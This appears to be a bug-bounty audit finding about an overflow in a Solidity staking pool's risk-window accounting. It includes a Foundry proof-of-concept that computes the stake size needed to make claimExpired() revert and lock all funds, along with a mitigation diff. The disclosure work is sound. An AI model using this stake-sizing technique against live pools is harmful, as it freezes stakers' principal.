FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Pre-risk stake can overflow risk-window rebasing and block the expiry backstop

Author Revealed upon completion

Pre-risk stake can overflow the risk-window moment reset and block the expiry backstop

Description

Normally, the first interaction during UNDER_ATTACK or PROMOTION_REQUESTED records riskWindowStart and resets the global accounting moments so that every existing stake is treated as entering at the beginning of the observed risk period.

Even if the agreement remains attackable until the pool expires, claimExpired() should still resolve the pool and allow stakers to recover their principal and bonus without requiring moderator intervention.

However, a stake accepted before the risk window can later overflow when _markRiskWindowStart() recalculates the global squared moment using a newer timestamp.

function _observePoolState()
internal
returns (IAttackRegistry.ContractState state)
{
state = _getAgreementState();
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
// @> Every active-risk observation reaches the
// @> vulnerable recalculation below.
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
// @> A stake that fitted at its original entry timestamp
// @> can overflow when recalculated using the later
// @> risk-window timestamp.
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

A total stake can satisfy:

totalStake × entryTime² <= type(uint256).max

and therefore be accepted by stake(), while later satisfying:

totalStake × riskWindowStart² > type(uint256).max

The active-risk observation then reverts completely, leaving riskWindowStart equal to zero.

While the registry remains in an active-risk state, every subsequent interaction that calls _observePoolState() reaches the same overflow. This includes claimExpired() after the pool expiry, preventing the permissionless expiry backstop from resolving the pool.

The attacker does not need to control the registry or any trusted role. The overflow is triggered by the registry following its normal lifecycle from ATTACK_REQUESTED to UNDER_ATTACK.

Risk

Impact: Medium

  • Every attempt to observe the active-risk state reverts, so the pool cannot record riskWindowStart.

  • claimExpired() continues to revert after the pool expiry, preventing honest stakers from recovering their principal and bonus through the intended permissionless backstop.

  • All funds held by the pool remain inaccessible beyond the agreed expiry until a trusted registry role moves the agreement to a terminal state.

  • The expiry backstop therefore fails precisely when it is needed to resolve the pool without waiting for moderator intervention.

Likelihood: Medium

  • The attack requires an allowlisted standard ERC-20 with sufficiently large legitimate raw-unit balances.

  • The malicious position must be deposited before the pool first observes an active-risk state.

  • A normal protocol transition from ATTACK_REQUESTED to UNDER_ATTACK is sufficient; the attacker does not need to control the registry, pool owner or moderator.

  • The duration of the lock depends on how long the registry remains in UNDER_ATTACK or PROMOTION_REQUESTED.

Proof of Concept

This PoC demonstrates that a stake valid at deposit time can later overflow during the risk-window moment reset, causing both pokeRiskWindow() and the post-expiry claimExpired() backstop to revert.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolRiskWindowOverflowPoCTest is
BaseConfidencePoolTest
{
function test_preRiskStakeBlocksExpiryBackstop()
external
{
/*
* Test-only staging of the registry's normal pre-risk state.
* The attacker does not control the later registry transition.
*/
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.ATTACK_REQUESTED
);
uint256 entryTime = block.timestamp;
uint256 riskTime = entryTime + 1 days;
uint256 expiryTime = uint256(pool.expiry());
/*
* The total stake fits when stake() records its squared
* moment using entryTime, but no longer fits when the risk
* window is opened using the later timestamp.
*/
uint256 targetTotalStake =
type(uint256).max / (riskTime * riskTime) + 1;
uint256 honestStake = 100 * ONE;
uint256 maliciousStake =
targetTotalStake - honestStake;
// The accounting performed during stake() still fits.
assertLe(
targetTotalStake * entryTime * entryTime,
type(uint256).max
);
// The later risk-window moment reset does not fit.
assertGt(
targetTotalStake,
type(uint256).max / (riskTime * riskTime)
);
// The same overflow will still occur at pool expiry.
assertGt(
targetTotalStake,
type(uint256).max / (expiryTime * expiryTime)
);
_stake(alice, honestStake);
_stake(bob, maliciousStake);
assertEq(
pool.totalEligibleStake(),
targetTotalStake
);
/*
* The registry follows its normal lifecycle and enters
* UNDER_ATTACK. The attacker does not perform or control
* this transition.
*/
vm.warp(riskTime);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
/*
* _markRiskWindowStart() attempts:
*
* sumStakeTimeSq =
* totalEligibleStake * riskTime * riskTime;
*/
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
// The complete observation was rolled back.
assertEq(pool.riskWindowStart(), 0);
/*
* A different caller cannot seal the window either,
* demonstrating that the failure is not caller-specific.
*/
vm.prank(dave);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0);
/*
* The agreement remains legitimately attackable until
* the pool expires.
*/
vm.warp(expiryTime);
/*
* claimExpired() should resolve the pool even while the
* registry remains UNDER_ATTACK. Instead, it reaches the
* same moment reset and reverts.
*/
vm.prank(dave);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
// The entire resolution was rolled back.
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.UNRESOLVED)
);
assertFalse(pool.claimsStarted());
assertEq(pool.riskWindowStart(), 0);
// All staked principal remains inside the unresolved pool.
assertEq(
token.balanceOf(address(pool)),
targetTotalStake
);
}
function test_controlActiveRiskPoolResolvesAtExpiry()
external
{
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.ATTACK_REQUESTED
);
uint256 honestStake = 100 * ONE;
uint256 honestBonus = 100 * ONE;
_stake(alice, honestStake);
_contributeBonus(carol, honestBonus);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
vm.warp(uint256(pool.expiry()));
/*
* With normal stake amounts, the same active-risk state
* correctly resolves the pool as EXPIRED.
*/
vm.prank(dave);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED)
);
assertTrue(pool.claimsStarted());
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(
token.balanceOf(alice) - aliceBefore,
honestStake + honestBonus
);
}
}

Recommended Mitigation

Cap the total eligible stake using expiry, which is the largest timestamp that _markRiskWindowStart() can use.

function stake(uint256 amount)
external
nonReentrant
whenPoolNotPaused
{
...
uint256 received =
balanceAfter > balanceBefore
? balanceAfter - balanceBefore
: 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ uint256 maxT = uint256(expiry);
+ uint256 maxTotalStake =
+ type(uint256).max / (maxT * maxT);
+
+ if (
+ totalEligibleStake > maxTotalStake
+ || received >
+ maxTotalStake - totalEligibleStake
+ ) {
+ revert StakeTooLarge();
+ }
...
}

A stronger long-term fix would store accounting moments using timestamps relative to riskWindowStart, instead of multiplying token balances by full Unix timestamps.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!